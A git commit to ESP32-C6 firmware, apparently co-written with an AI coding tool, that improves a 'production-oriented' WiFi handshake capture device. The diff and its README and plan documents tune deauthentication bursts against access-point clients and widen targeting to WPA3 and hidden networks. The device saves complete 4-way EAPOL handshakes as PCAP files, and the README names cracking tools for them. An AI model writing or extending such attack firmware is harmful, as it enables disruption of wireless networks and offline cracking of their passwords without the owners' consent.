handshake-capture-c6: production SD gating (SD_IsReady), v1.0.1

- Gate capture on SD_IsReady() after successful SD_Init; avoid false
  'insert SD' when SD.cardType() lies after WiFi on shared SPI with LCD
- SD_Init: LCD CS high, SD.end() on empty card; HandshakeCapture save path
  retries SD_Init before discard
- FAT filename sanitize, discard deadlocks, WPA3 scan labels, docs (README,
  PRODUCTION, IMPROVEMENTS), firmware version 1.0.1

Made-with: Cursor
This commit is contained in:
drjones
2026-03-21 01:12:12 -07:00
parent 4bef28bd83
commit 804e71e175
11 changed files with 512 additions and 153 deletions

View File

@@ -4,6 +4,11 @@
#include <algorithm>
#include <cstring>
// Set 0 to use STA-only (test deauth + promiscuous on your core first).
#ifndef USE_SOFTAP
#define USE_SOFTAP 1
#endif
// ─── Internal prototypes ───
static void promiscuousRxCallback(void* buf, wifi_promiscuous_pkt_type_t type);
@@ -12,29 +17,35 @@ static bool pcapAppendSlot(CaptureSlot* slot, const uint8_t* frame, size_t len);
static void sendDeauthToClient(const uint8_t* bssid, const uint8_t* client_mac);
static void sendDeauthBurstAll();
static bool addClientToSlot(CaptureSlot* slot, const uint8_t* mac);
static bool eapolHasPmkid(const uint8_t* payload, uint16_t len, uint16_t mac_hdr_len);
static int getNextChannelSweep();
static void sanitizeFilenameForFat(String& path);
static void discardSlotCapture(CaptureSlot* s, int slot_index);
// ─── Shared state ───
WifiNetwork networks[MAX_NETWORKS];
CaptureSlot slots[MAX_SLOTS];
volatile int pending_save_slots[MAX_SLOTS] = {-1, -1, -1};
volatile int pending_save_slots[MAX_SLOTS] = {-1, -1};
bool is_capturing = false;
int current_channel = 0;
volatile int latest_eapol_count = 0;
volatile uint8_t latest_eapol_count[MAX_SLOTS] = {0, 0};
CapturePhase capturePhase = PHASE_OBSERVING;
// ─── Phase timing ───
#define OBSERVE_DURATION_MS 5000
#define CAPTURE_TIMEOUT_MS 10000
// Longer windows: handshakes often arrive a few seconds after deauth; sweep all BSSIDs over time.
#define OBSERVE_DURATION_MS 8000
#define CAPTURE_TIMEOUT_MS 20000
#define DEAUTH_BURST_COUNT 5
#define DEAUTH_BURST_DELAY 2 // ms between frames in a burst
#define MAX_PHASE_RETRIES 3 // 3 full cycles before moving to next channel
#define MAX_OBSERVE_CYCLES 5 // observe→deauth→capture rounds per channel visit
#define DEAUTH_GAP_AFTER_CLIENT_MS 80 // RX window between client bursts
#define DEAUTH_GAP_AFTER_SLOT_MS 120 // RX window between AP slots
// EAPOL frames from the same slot/session append to one buffer across cycles (same AP visit).
static unsigned long phase_timer = 0;
static uint8_t phase_retries = 0;
// Counts completed observe windows that led to a deauth burst (1..MAX_OBSERVE_CYCLES).
static uint8_t deauth_cycle_count = 0;
static int last_channel = 0;
// Spinlock for data shared between promiscuous callback (WiFi task)
@@ -65,13 +76,50 @@ static void markBssidCaptured(const uint8_t* bssid) {
}
}
static void sanitizeFilenameForFat(String& path) {
for (unsigned i = 0; i < path.length(); i++) {
char c = path[i];
if (c == '/') continue;
if ((unsigned char)c < 0x20 || c == '"' || c == '*' || c == '\\' || c == ':' ||
c == '?' || c == '<' || c == '>' || c == '|' || c == '\'' || c == '[' || c == ']')
path.setCharAt(i, '_');
}
}
// Release slot after failed/missing SD so capture never deadlocks on pending_save.
static void discardSlotCapture(CaptureSlot* s, int slot_index) {
pending_save_slots[slot_index] = -1;
s->pcap_size = 0;
s->active = false;
s->eapol_count = 0;
s->beacon_captured = false;
s->client_count = 0;
if (slot_index >= 0 && slot_index < MAX_SLOTS)
latest_eapol_count[slot_index] = 0;
// Restore list row after failed save / missing SD (avoid stuck orange “active” look).
int ni = s->network_index;
if (ni >= 0 && ni < MAX_NETWORKS && !networks[ni].ssid.isEmpty()) {
char line[48];
snprintf(line, sizeof(line), "%02d. %s ch%d",
ni + 1, networks[ni].ssid.c_str(), networks[ni].ch);
Ui_SetNetworkText(ni, line);
Ui_SetNetworkColor(ni, lv_palette_main(LV_PALETTE_GREEN));
}
}
// ─── Init ───
void handshakeCaptureInit() {
WiFi.mode(WIFI_STA);
WiFi.disconnect(false, true);
WiFi.setSleep(false);
delay(100);
#if USE_SOFTAP
WiFi.mode(WIFI_AP_STA);
#else
WiFi.mode(WIFI_STA);
#endif
esp_wifi_set_promiscuous(true);
esp_wifi_set_promiscuous_rx_cb(promiscuousRxCallback);
for (int i = 0; i < MAX_SLOTS; i++) {
@@ -84,41 +132,66 @@ void handshakeCaptureInit() {
void handshakeCaptureProcessPending() {
for (int i = 0; i < MAX_SLOTS; i++) {
if (pending_save_slots[i] < 0) continue;
pending_save_slots[i] = -1;
CaptureSlot* s = &slots[i];
if (!s->active || s->pcap_size == 0) continue;
String filename = "/handshake_";
filename += s->ssid;
filename += "_";
filename += String(millis() / 1000);
filename += ".pcap";
filename.replace(" ", "_");
markBssidCaptured(s->bssid);
if (s->network_index >= 0 && s->network_index < MAX_NETWORKS) {
networks[s->network_index].handshake_captured = true;
Ui_SetNetworkColor(s->network_index, lv_palette_main(LV_PALETTE_RED));
if (!s->active || s->pcap_size <= sizeof(pcap_global_header_t) ||
s->eapol_count < HANDSHAKE_EAPOL_FRAMES) {
pending_save_slots[i] = -1;
continue;
}
// Do not pre-check SD.cardType() here — it can read false after WiFi on shared SPI.
// If the card was pulled, SD.open/write below fails and we discard then.
if (!SD_IsReady()) {
SD_Init();
}
if (!SD_IsReady()) {
Serial.println("SD not ready — discarding pending PCAP");
Ui_SetWifiStatus("SD: insert card");
discardSlotCapture(s, i);
continue;
}
String filename = "/4way_";
filename += s->ssid;
filename += "_";
filename += String((unsigned long)millis());
filename += "_s";
filename += String(i);
filename += ".pcap";
filename.replace(" ", "_");
sanitizeFilenameForFat(filename);
File file = SD.open(filename.c_str(), FILE_WRITE);
bool ok = false;
if (file) {
if (file.write(s->pcap_buffer, s->pcap_size) == s->pcap_size) {
Serial.printf("Saved %s (%d bytes)\n", filename.c_str(), (int)s->pcap_size);
Ui_SetWifiStatus("Saved PCAP!");
Serial.printf("Saved 4-way %s (%d bytes)\n", filename.c_str(), (int)s->pcap_size);
Ui_SetWifiStatus("4-way saved!");
ok = true;
} else {
Serial.println("SD Write Failed!");
Ui_SetWifiStatus("SD Write Err!");
Serial.println("SD write failed — discarding buffer");
Ui_SetWifiStatus("SD write err");
}
file.close();
} else {
Serial.println("SD Open Failed!");
Ui_SetWifiStatus("SD Open Err!");
Serial.println("SD open failed — discarding buffer");
Ui_SetWifiStatus("SD open err");
}
s->pcap_size = 0;
s->active = false;
if (ok) {
pending_save_slots[i] = -1;
markBssidCaptured(s->bssid);
if (s->network_index >= 0 && s->network_index < MAX_NETWORKS) {
networks[s->network_index].handshake_captured = true;
Ui_SetNetworkColor(s->network_index, lv_palette_main(LV_PALETTE_RED));
}
s->pcap_size = 0;
s->active = false;
latest_eapol_count[i] = 0;
} else {
discardSlotCapture(s, i);
}
}
refillSlots();
}
@@ -166,7 +239,9 @@ bool compareRSSI(const WifiNetwork& a, const WifiNetwork& b) {
bool isCaptureable(int index) {
if (index < 0 || index >= MAX_NETWORKS || networks[index].ssid.isEmpty()) return false;
const String& enc = networks[index].encryption;
return enc == "WPA" || enc == "WPA2" || enc == "WPA/WPA2";
if (enc == "WPA" || enc == "WPA2" || enc == "WPA/WPA2") return true;
if (enc == "WPA3" || enc == "WPA2/WPA3") return true;
return false;
}
int getCaptureableCount() {
@@ -178,26 +253,6 @@ int getCaptureableCount() {
return n;
}
int getBestChannel() {
int best_ch = 0;
int best_count = 0;
int ch_counts[15] = {0};
for (int i = 0; i < MAX_NETWORKS; i++) {
if (networks[i].ssid.isEmpty()) break;
if (networks[i].handshake_captured || !isCaptureable(i)) continue;
int ch = networks[i].ch;
if (ch >= 1 && ch <= 14) {
ch_counts[ch - 1]++;
if (ch_counts[ch - 1] > best_count) {
best_count = ch_counts[ch - 1];
best_ch = ch;
}
}
}
return best_ch;
}
static int getNextChannelSweep() {
int ch_counts[15] = {0};
for (int i = 0; i < MAX_NETWORKS; i++) {
@@ -216,17 +271,33 @@ static int getNextChannelSweep() {
return 0;
}
static void clearNetworkList() {
for (int i = 0; i < MAX_NETWORKS; i++) {
networks[i].ssid = "";
networks[i].encryption = "";
memset(networks[i].bssid, 0, 6);
networks[i].ch = 0;
networks[i].rssi = 0;
networks[i].handshake_captured = false;
}
}
void scanNetworksSortedByRSSI() {
memset(networks, 0, sizeof(networks));
int n = WiFi.scanNetworks(false, false);
clearNetworkList();
int n = WiFi.scanNetworks(false, true);
if (n == 0) return;
int stored = 0;
for (int i = 0; i < n && stored < MAX_NETWORKS; i++) {
String ssid = WiFi.SSID(i);
if (ssid.isEmpty()) continue;
networks[stored].ssid = ssid;
if (ssid.isEmpty()) {
const uint8_t* b = WiFi.BSSID(i);
char hid[24];
snprintf(hid, sizeof(hid), "<hidden>_%02X%02X%02X", b[3], b[4], b[5]);
networks[stored].ssid = hid;
} else {
networks[stored].ssid = ssid;
}
memcpy(networks[stored].bssid, WiFi.BSSID(i), 6);
networks[stored].ch = WiFi.channel(i);
networks[stored].rssi = WiFi.RSSI(i);
@@ -237,6 +308,12 @@ void scanNetworksSortedByRSSI() {
else if (enc == WIFI_AUTH_WPA2_PSK) networks[stored].encryption = "WPA2";
else if (enc == WIFI_AUTH_WPA_WPA2_PSK) networks[stored].encryption = "WPA/WPA2";
else if (enc == WIFI_AUTH_WPA2_ENTERPRISE) networks[stored].encryption = "WPA2 Enterprise";
#if defined(WIFI_AUTH_WPA3_PSK)
else if (enc == WIFI_AUTH_WPA3_PSK) networks[stored].encryption = "WPA3";
#endif
#if defined(WIFI_AUTH_WPA2_WPA3_PSK)
else if (enc == WIFI_AUTH_WPA2_WPA3_PSK) networks[stored].encryption = "WPA2/WPA3";
#endif
else networks[stored].encryption = "Unknown";
networks[stored].handshake_captured = wasBssidCaptured(networks[stored].bssid);
@@ -334,12 +411,14 @@ static void sendDeauthBurstAll() {
Serial.printf("[%s] deauth -> %d client(s)\n", s->ssid, s->client_count);
for (uint8_t c = 0; c < s->client_count; c++) {
sendDeauthToClient(s->bssid, s->clients[c].mac);
if (c + 1 < s->client_count) delay(DEAUTH_GAP_AFTER_CLIENT_MS);
}
} else {
Serial.printf("[%s] deauth -> broadcast (no clients mapped)\n", s->ssid);
uint8_t bcast[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF};
sendDeauthToClient(s->bssid, bcast);
}
delay(DEAUTH_GAP_AFTER_SLOT_MS);
}
}
@@ -377,7 +456,8 @@ void startMultiCapture() {
is_capturing = true;
capturePhase = PHASE_OBSERVING;
phase_timer = millis();
phase_retries = 0;
deauth_cycle_count = 0;
for (int k = 0; k < MAX_SLOTS; k++) latest_eapol_count[k] = 0;
esp_wifi_set_channel(current_channel, WIFI_SECOND_CHAN_NONE);
Serial.printf("Phase 2: observing ch %d (%d target(s))\n", current_channel, filled);
@@ -388,7 +468,7 @@ void stopCapture() {
is_capturing = false;
for (int i = 0; i < MAX_SLOTS; i++) {
if (slots[i].active) {
if (slots[i].eapol_count >= 1) {
if (slots[i].eapol_count >= HANDSHAKE_EAPOL_FRAMES) {
pending_save_slots[i] = i;
} else {
slots[i].pcap_size = 0;
@@ -422,17 +502,17 @@ void handshakeCaptureLoop() {
capturePhase = PHASE_CAPTURING;
phase_timer = now;
phase_retries++;
deauth_cycle_count++;
Serial.println("Phase 4: capturing handshakes...");
}
}
// Phase 4 timeout → re-observe or let .ino CHANNEL_TIMEOUT handle final stop
// Phase 4 timeout → re-observe, or end session after MAX_OBSERVE_CYCLES deauth bursts
if (capturePhase == PHASE_CAPTURING) {
if (now - phase_timer >= CAPTURE_TIMEOUT_MS) {
if (phase_retries < MAX_PHASE_RETRIES) {
if (deauth_cycle_count < MAX_OBSERVE_CYCLES) {
Serial.printf("Capture timeout. Re-observing (cycle %d/%d)...\n",
phase_retries + 1, MAX_PHASE_RETRIES);
(int)deauth_cycle_count + 1, MAX_OBSERVE_CYCLES);
portENTER_CRITICAL(&capture_mux);
for (int i = 0; i < MAX_SLOTS; i++) {
if (slots[i].active) slots[i].client_count = 0;
@@ -441,6 +521,9 @@ void handshakeCaptureLoop() {
capturePhase = PHASE_OBSERVING;
phase_timer = now;
} else {
Serial.println("Max observe/deauth cycles done; stopping capture on this channel.");
stopCapture();
}
}
}
@@ -543,8 +626,7 @@ static void promiscuousRxCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
if (is_beacon) {
if (!s->beacon_captured && len >= 36 && memcmp(&payload[10], s->bssid, 6) == 0) {
s->beacon_captured = true;
pcapAppendSlot(s, payload, len);
if (pcapAppendSlot(s, payload, len)) s->beacon_captured = true;
}
portEXIT_CRITICAL(&capture_mux);
return;
@@ -557,62 +639,14 @@ static void promiscuousRxCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
}
if (is_eapol) {
s->eapol_count++;
pcapAppendSlot(s, payload, len);
latest_eapol_count = s->eapol_count;
// Save immediately on PMKID presence (M1 can be sufficient)
if (s->eapol_count == 1 && eapolHasPmkid(payload, len, mhl)) {
pending_save_slots[hit_slot] = hit_slot;
} else if (s->eapol_count >= 2) {
pending_save_slots[hit_slot] = hit_slot;
if (pcapAppendSlot(s, payload, len)) {
s->eapol_count++;
latest_eapol_count[hit_slot] = s->eapol_count;
if (s->eapol_count >= HANDSHAKE_EAPOL_FRAMES) {
pending_save_slots[hit_slot] = hit_slot;
}
}
}
portEXIT_CRITICAL(&capture_mux);
}
// Minimal PMKID KDE detection for RSN (00:0f:ac:04)
// payload points at 802.11 header start; mac_hdr_len points at LLC/SNAP start.
static bool eapolHasPmkid(const uint8_t* payload, uint16_t len, uint16_t mac_hdr_len) {
if (mac_hdr_len == 0) return false;
if (len < mac_hdr_len + 8 + 4) return false; // LLC/SNAP + EAPOL hdr
// LLC/SNAP is 8 bytes: DSAP,SSAP,CTRL,OUI(3),Ethertype(2)
const uint16_t eapol_off = mac_hdr_len + 8;
if (len < eapol_off + 4) return false;
// EAPOL header
// [0]=ver, [1]=type, [2..3]=len
uint8_t eapol_type = payload[eapol_off + 1];
if (eapol_type != 3) return false; // EAPOL-Key
uint16_t eapol_len = ((uint16_t)payload[eapol_off + 2] << 8) | payload[eapol_off + 3];
if (len < eapol_off + 4 + eapol_len) return false;
const uint16_t key_off = eapol_off + 4;
if (eapol_len < 95) return false; // too small to contain WPA2 key + KDEs
// WPA2 EAPOL-Key fixed fields are 95 bytes after key descriptor type
// Key Data Length is at offset 9798 from start of key frame (descriptor included).
// Layout: desc(1), key_info(2), key_len(2), replay(8), nonce(32), iv(16),
// rsc(8), id(8), mic(16), key_data_len(2), key_data(variable)
const uint16_t key_data_len_off = key_off + 1 + 2 + 2 + 8 + 32 + 16 + 8 + 8 + 16;
if (key_data_len_off + 2 > key_off + eapol_len) return false;
uint16_t key_data_len = ((uint16_t)payload[key_data_len_off] << 8) | payload[key_data_len_off + 1];
const uint16_t key_data_off = key_data_len_off + 2;
if (key_data_off + key_data_len > key_off + eapol_len) return false;
if (key_data_len < 20) return false;
// Search for RSN KDE: dd 14 00 0f ac 04 <16 bytes PMKID>
for (uint16_t i = 0; i + 22 <= key_data_len; i++) {
const uint16_t p = key_data_off + i;
if (payload[p] != 0xDD) continue;
if (payload[p + 1] != 0x14) continue;
if (payload[p + 2] != 0x00 || payload[p + 3] != 0x0F || payload[p + 4] != 0xAC) continue;
if (payload[p + 5] != 0x04) continue;
return true;
}
return false;
}

View File

@@ -5,7 +5,14 @@
#include "esp_wifi.h"
#include <SD.h>
#define MAX_SLOTS 3
/** Semantic version (Serial banner + support). */
#define HANDSHAKE_FIRMWARE_VERSION "1.0.1"
/** SD write only after this many EAPOL-Key frames (full WPA/WPA2 4-way). */
#define HANDSHAKE_EAPOL_FRAMES 4
// Two APs at once: less on-air contention, more time per target before rotating.
#define MAX_SLOTS 2
#define MAX_NETWORKS 20
#define MAX_CLIENTS_PER_SLOT 8
#define PCAP_MAX_SIZE 4096
@@ -63,7 +70,7 @@ enum CapturePhase : uint8_t {
extern WifiNetwork networks[MAX_NETWORKS];
extern CaptureSlot slots[MAX_SLOTS];
extern volatile int pending_save_slots[MAX_SLOTS];
extern volatile int latest_eapol_count;
extern volatile uint8_t latest_eapol_count[MAX_SLOTS];
extern bool is_capturing;
extern int current_channel;
extern CapturePhase capturePhase;
@@ -78,4 +85,3 @@ void stopCapture();
bool isCaptureable(int index);
void handshakeCaptureLoop();
int getCaptureableCount();
int getBestChannel();

View File

@@ -1,5 +1,7 @@
# Firmware Performance Improvements
> **Production / release:** see **`README.md`** (Production checklist) and **`PRODUCTION.md`**. Bump **`HANDSHAKE_FIRMWARE_VERSION`** in `HandshakeCapture.h` for each field build.
Review of handshake-capture-c6 for ESP32-C6 1.47" LCD. Ordered by impact and effort.
---

View File

@@ -0,0 +1,251 @@
# Full-scale fix plan — handshake-capture-c6
This plan addresses the issues from the firmware review. Work in **phases** so each step compiles, flashes, and can be verified before the next.
## Implementation status (in firmware)
| Phase | Status |
|-------|--------|
| 1 String/memset | Done — `clearNetworkList()` replaces `memset(networks)` |
| 2 State machine | Done — `deauth_cycle_count` + `MAX_OBSERVE_CYCLES`; `stopCapture()` after last cycle |
| 3 EAPOL UI | Done — `latest_eapol_count[MAX_SLOTS]`, status `E a/b/c` |
| 4 Stagger deauth | Done — `DEAUTH_GAP_AFTER_CLIENT_MS` / `DEAUTH_GAP_AFTER_SLOT_MS` |
| 5 Pending save | Done — clear pending + slot only after successful SD write |
| 6 STA-only | Done — `#define USE_SOFTAP 1` default; set `0` to try STA-only |
| 7 Hidden SSID | Done — `scanNetworks(false,true)`, `<hidden>_XXXXXX` names |
| 8 Enterprise | Not done (optional) |
| 9 PMKID TLV | Not done (optional) |
| 10 Cleanup | Done — removed `getBestChannel`, `WiFiScanner_Init`; `setSleep` in init |
| 11 UI lock | Not done (optional) |
---
## Phase 0 — Preconditions (no code)
| Item | Action |
|------|--------|
| Backup | Tag or branch `before-plan-fixes` |
| Test harness | One known WPA2 AP + one client; SD inserted; serial at 115200 |
| Success criteria | After each phase: compile `esp32:esp32:esp32c6`, flash, run 2 full channel cycles without crash |
---
## Phase 1 — Critical: `String` + `memset` (must fix first)
**Problem:** `scanNetworksSortedByRSSI()` does `memset(networks, 0, sizeof(networks))` while `WifiNetwork` contains `String` — undefined behavior / heap corruption risk.
**Approach (pick one):**
### Option A — Minimal change (recommended)
- Replace `memset(networks, 0, sizeof(networks))` with an explicit clear loop:
```cpp
for (int i = 0; i < MAX_NETWORKS; i++) {
networks[i].ssid = "";
networks[i].encryption = "";
networks[i].bssid[0] = 0; // or memset only the POD tail
networks[i].ch = 0;
networks[i].rssi = 0;
networks[i].handshake_captured = false;
}
```
- Do **not** `memset` the whole struct.
### Option B — Structural (later refactor)
- Change `WifiNetwork` to fixed buffers: `char ssid[33]`, `char encryption[24]`, then `memset` or zero-init is safe.
- Touches: `HandshakeCapture.h`, `HandshakeCapture.cpp`, `WiFi_Scanner.cpp`, `handshake-capture-c6.ino` (any `.c_str()` / `String` compare).
**Files:** `HandshakeCapture.cpp` (required), optionally full Option B across project.
**Acceptance:** Scan → list → capture → rescan 10× with no heap weirdness / reboot.
---
## Phase 2 — State machine clarity (`phase_retries` / channel window)
**Problem:** `phase_retries` increments on observe→capture transition; after 3rd capture timeout the inner loop stops cycling but stays in `PHASE_CAPTURING` until `.ino` `CHANNEL_TIMEOUT_MS`. Confusing and hard to tune.
**Approach:**
1. Rename for truth: e.g. `deauth_burst_count` or `observe_cycles_completed` (document what increments where).
2. **Either:**
- **2a.** After the last allowed cycle (no more re-observe), explicitly call `stopCapture()` from `handshakeCaptureLoop()` so channel session ends on inner logic (and align `CHANNEL_TIMEOUT_MS` as a hard ceiling only), **or**
- **2b.** Keep current “linger in CAPTURING” but document in code + README that outer timeout is intentional listen-only tail.
**Files:** `HandshakeCapture.cpp`, `handshake-capture-c6.ino` (timeout values if 2a).
**Acceptance:** Serial log shows exactly N observe→deauth→capture cycles, then predictable stop or handoff to scan.
---
## Phase 3 — `latest_eapol_count` / UI honesty
**Problem:** One global counter; UI “EAPOL N” is ambiguous with 3 slots.
**Approach:**
1. Replace `volatile int latest_eapol_count` with `volatile uint8_t latest_eapol_count[MAX_SLOTS]` (or keep max across slots for a single “best” display).
2. In callback, set `latest_eapol_count[i] = slots[i].eapol_count` when slot `i` gets EAPOL.
3. In `updateCaptureVisuals()` / status line: show e.g. `EAPOL 1/1/2` or `max=2` + `ch X` — pick one rule and stick to it.
**Files:** `HandshakeCapture.h`, `HandshakeCapture.cpp`, `handshake-capture-c6.ino`.
**Acceptance:** With 2 active targets, status reflects both or clearly states “max”.
---
## Phase 4 — Staggered deauth (capture yield)
**Problem:** Back-to-back TX blinds RX around reconnect.
**Approach:**
1. In `sendDeauthBurstAll()` / `sendDeauthToClient()`:
- After each **clients** burst (or each N frames), `delay(50100)` or `vTaskDelay` ms **or** yield-only if you prefer minimal sleep.
- Round-robin: 1 frame per client × 5 rounds with 20 ms between rounds (tune).
2. Add `#define` constants at top of `HandshakeCapture.cpp` for easy tuning.
**Files:** `HandshakeCapture.cpp`.
**Acceptance:** Same AP/client test; subjective + optional Wireshark on second radio showing less contiguous TX.
---
## Phase 5 — `pending_save_slots` hardening
**Problem:** Rare race: callback sets pending again while main clears and writes SD.
**Approach:**
1. Dont set `pending_save_slots[i] = -1` until **after** successful `file.close()` **or** use a two-phase flag: `save_requested[i]` vs `save_in_progress[i]`.
2. Simpler variant: only clear pending after write succeeds; on failure leave slot active and re-queue.
**Files:** `HandshakeCapture.cpp` (`handshakeCaptureProcessPending`).
**Acceptance:** Stress test: force slow SD (if possible) or inject double-EAPOL path — no lost save flag.
---
## Phase 6 — WiFi mode: STA-only trial
**Problem:** `WIFI_AP_STA` with unused SoftAP wastes airtime/power.
**Approach:**
1. Add `#define USE_SOFTAP 0` (default 0).
2. In `handshakeCaptureInit()`, `WiFi.mode(USE_SOFTAP ? WIFI_AP_STA : WIFI_STA)`.
3. **Test matrix:** promiscuous on, `esp_wifi_80211_tx` deauth still accepted on your core. If TX fails, document and keep `WIFI_AP_STA`.
**Files:** `HandshakeCapture.cpp`, short note in `README.md`.
**Acceptance:** Capture + deauth still work; no regression on C6.
---
## Phase 7 — Hidden SSIDs
**Problem:** Empty SSID skipped in scan.
**Approach:**
1. `WiFi.scanNetworks(false, true)` — include hidden where supported.
2. If `ssid.isEmpty()`, set `networks[i].ssid = "<hidden>"` (or `HIDDEN_xx` + last BSSID octets for uniqueness in filenames).
3. Filename sanitizer: strip/replace `/` and odd chars for FAT.
**Files:** `HandshakeCapture.cpp`, `handshakeCaptureProcessPending` (filename).
**Acceptance:** Hidden WPA2 AP appears in list and can be captured if BSSID/channel match.
---
## Phase 8 — Optional coverage: WPA2 Enterprise / WPA3
**Problem:** `isCaptureable()` excludes enterprise; WPA3 is different handshake.
**Approach:**
1. **Enterprise:** Add `enc == "WPA2 Enterprise"` to `isCaptureable()` if goal is EAP capture (PCAP still useful; cracking differs).
2. **WPA3:** Separate project slice — detect SAE, different EAPOL handling; only if you need it.
**Files:** `HandshakeCapture.cpp` (minimal: enterprise only first).
**Acceptance:** Enterprise networks show as targets; no crash (capture may still be hard depending on network).
---
## Phase 9 — PMKID parser robustness (optional)
**Problem:** Fixed WPA2 RSN offsets; odd drivers may differ.
**Approach:**
1. Walk Key Data as TLV (length-checked) instead of fixed offset where possible.
2. Keep existing fast path; add fallback scan for `00 0f ac 04` PMKID KDE.
**Files:** `HandshakeCapture.cpp` (`eapolHasPmkid`).
**Acceptance:** Still detects PMKID on standard APs; no regressions on bounds.
---
## Phase 10 — Cleanup + init
**Problem:** Dead `getBestChannel()` vs `getNextChannelSweep()`, unused `WiFiScanner_Init()`.
**Approach:**
1. Remove `getBestChannel` from header if unused, or use it inside sweep for “first channel” bias.
2. Call `WiFiScanner_Init()` from `setup()` **or** delete and merge `WiFi.setSleep(false)` into `handshakeCaptureInit()`.
**Files:** `HandshakeCapture.h`, `HandshakeCapture.cpp`, `WiFi_Scanner.cpp`, `handshake-capture-c6.ino`.
---
## Phase 11 — UI concurrency (optional polish)
**Problem:** `updateCaptureVisuals()` reads slots without lock.
**Approach:**
1. Snapshot `slots[i].active`, `network_index`, `eapol_count`, `client_count` under `portENTER_CRITICAL` into a small struct array, then paint LVGL outside lock.
2. Or accept rare flicker and document as cosmetic-only.
**Files:** `handshake-capture-c6.ino` (or move snapshot helper to `HandshakeCapture.cpp`).
---
## Recommended order (dependency graph)
```
Phase 1 (String/memset) ──┬──► Phase 2 (state machine)
├──► Phase 3 (EAPOL UI)
├──► Phase 4 (deauth stagger)
├──► Phase 5 (pending save)
├──► Phase 6 (STA-only test)
└──► Phase 7 (hidden SSID)
Phase 811 independent after Phase 1, in any order you care about.
```
---
## Effort summary
| Phase | Effort | Risk |
|-------|--------|------|
| 1 | Small | Low |
| 2 | Smallmedium | Medium (behavior change if 2a) |
| 3 | Small | Low |
| 4 | Small | Low |
| 5 | Small | Low |
| 6 | Tiny | Medium (HW/core dependent) |
| 7 | Small | Low |
| 8 | Small | Medium (scope creep) |
| 9 | Medium | Medium |
| 10 | Tiny | Low |
| 11 | Small | Low |
---
## Single “definition of done” for the whole plan
- [ ] No `memset` over structs containing `String`.
- [ ] Cycle count / stop behavior documented and matches serial logs.
- [ ] UI EAPOL display unambiguous for multi-slot.
- [ ] Deauth stagger tuned and `#define`d.
- [ ] Pending-save race handled or explicitly accepted.
- [ ] STA-only tested; default documented.
- [ ] Hidden SSIDs handled or explicitly out of scope.
- [ ] Dead code removed or wired.
- [ ] Clean build + flash on ESP32-C6.
When youre ready, say **“implement phase N”** and well execute that slice only.

View File

@@ -0,0 +1,16 @@
# Production notes
This file summarizes behavior locked in for a **shippable** build. Detailed design history lives in `PLAN.md` / `IMPROVEMENTS.md`.
## Correctness & robustness
- **4-way only:** `HANDSHAKE_EAPOL_FRAMES` in `HandshakeCapture.h` — SD write only when count is reached; `stopCapture()` only queues save if threshold met.
- **No SD deadlock:** If the card is missing or open/write fails, the pending buffer is **dropped** and the slot cleared so the state machine and UI keep progressing.
- **FAT filenames:** Non-portable characters in paths are replaced before `SD.open`.
- **Concurrency:** Promiscuous callback uses short critical sections; SD I/O only in `handshakeCaptureProcessPending()` on the main loop.
## Operational
- **Version:** `HANDSHAKE_FIRMWARE_VERSION` — change on every release; matches serial banner.
- **Capture gating:** Main sketch calls `SD_Init()` / requires `SD_IsReady()` before `startMultiCapture()` (not `SD.cardType()` alone — shared SPI + WiFi).
- **Authorization:** Operator must comply with local law and organizational policy.

View File

@@ -1,15 +1,26 @@
# Handshake Capture - ESP32-C6 1.47" LCD
Automatic WiFi 4-way handshake capture for Waveshare ESP32-C6-LCD-1.47.
Production-oriented WiFi 4-way handshake capture for Waveshare ESP32-C6-LCD-1.47.
**Firmware version:** `HANDSHAKE_FIRMWARE_VERSION` in `HandshakeCapture.h` (also printed on serial at boot).
## Features
- **SD card storage**: Saves `.pcap` files to TF card (not SPIFFS)
- **Auto-deauth**: Aggressive 150ms deauth interval to force handshakes
- **Display**: Networks in **green** = not captured, **red** = captured
- **No web interface**: Capture-only device
- **WPA/WPA2 only**: Skips Open/WEP networks
- **BSSID cache**: Captured networks stay red across rescans
- **SD required for capture:** No card, or open/write failure → pending PCAP is **discarded** and the slot freed (no infinite pending). Hot-insert: sketch retries `SD_Init()` before each capture round.
- **SD storage:** Saves **only complete 4-way handshakes** as `.pcap` (LINKTYPE_IEEE802_11): `4way_<ssid>_<ms>_s<n>.pcap`. Filenames are **FAT-sanitized**. No PMKID-only or partial EAPOL dumps.
- **Auto-deauth:** Bursts toward mapped clients to provoke a full 4-way.
- **Display:** **Green** = pending, **red** = 4-way saved to SD.
- **No web UI:** Capture-only device.
- **WPA / WPA2 / WPA3 PSK / mixed** (when the core reports them). Skips Open, WEP, WPA2-Enterprise.
- **BSSID cache:** Captured BSSIDs stay red across rescans.
**Convert:** `hcxpcapngtool` / Wireshark / aircrack-ng expect PCAP with EAPOL-Key frames; a full 4-way is included in each saved file (plus one target beacon when available).
### “Partial” captures — whats actually possible
- **Not mergeable across random reconnects:** EAPOL messages from *different* 4-way runs (different nonces / MIC context) usually **cannot** be stitched into one crackable handshake. Tools need a **coherent** set for that AP↔STA association attempt.
- **Within one visit, frames can trickle in:** While tuned to a channel, the device keeps **one PCAP buffer per target AP**. If the client reconnects several times during the same session, **all EAPOL frames append** until either four are seen (then SD save) or the channel round ends without four (buffer dropped — no file).
- **Fewer than four frames:** Some attacks (e.g. **PMKID in message 1**, or classic **M1+M2** with beacon) need fewer frames, but this firmware **only saves on four** so every file is a clean full 4-way for your earlier requirement.
## Hardware
@@ -41,7 +52,22 @@ Use `arduino-cli board list` to find the correct port.
## Flow
1. Boot → scan → display networks (green)
2. Pick first uncaptured WPA/WPA2 network
3. Set channel, deauth every 150ms, capture EAPOL
4. On full handshake → save to SD, mark red, next network
5. When all done → rescan, repeat
2. Channel sweep + **up to 2 WPA APs at a time** on that channel; **map clients → deauth burst → listen** (several rounds per visit)
3. PCAP grows in RAM; **SD write only when 4 EAPOL-Key frames** are seen for that AP
4. On save → mark red; **refill slots** with other networks on the same channel, then **next channel** until everyone captured or timed out
5. If a visit ends without 4 EAPOL for an AP, that buffer is discarded (no partial PCAP); the next sweep can try again
## Production checklist
| Item | Notes |
|------|--------|
| **Flash layout** | Prefer `PartitionScheme=huge_app` (~40% of that partition at v1.0.0); default `default` partition is too small (~96% full). |
| **SD** | FAT-formatted microSD; capture is gated on `SD_IsReady()` (successful `SD_Init`), not raw `cardType()` (unreliable after WiFi on shared SPI). |
| **Serial** | `115200` — boot line shows `handshake-capture-c6 vX.Y.Z`. |
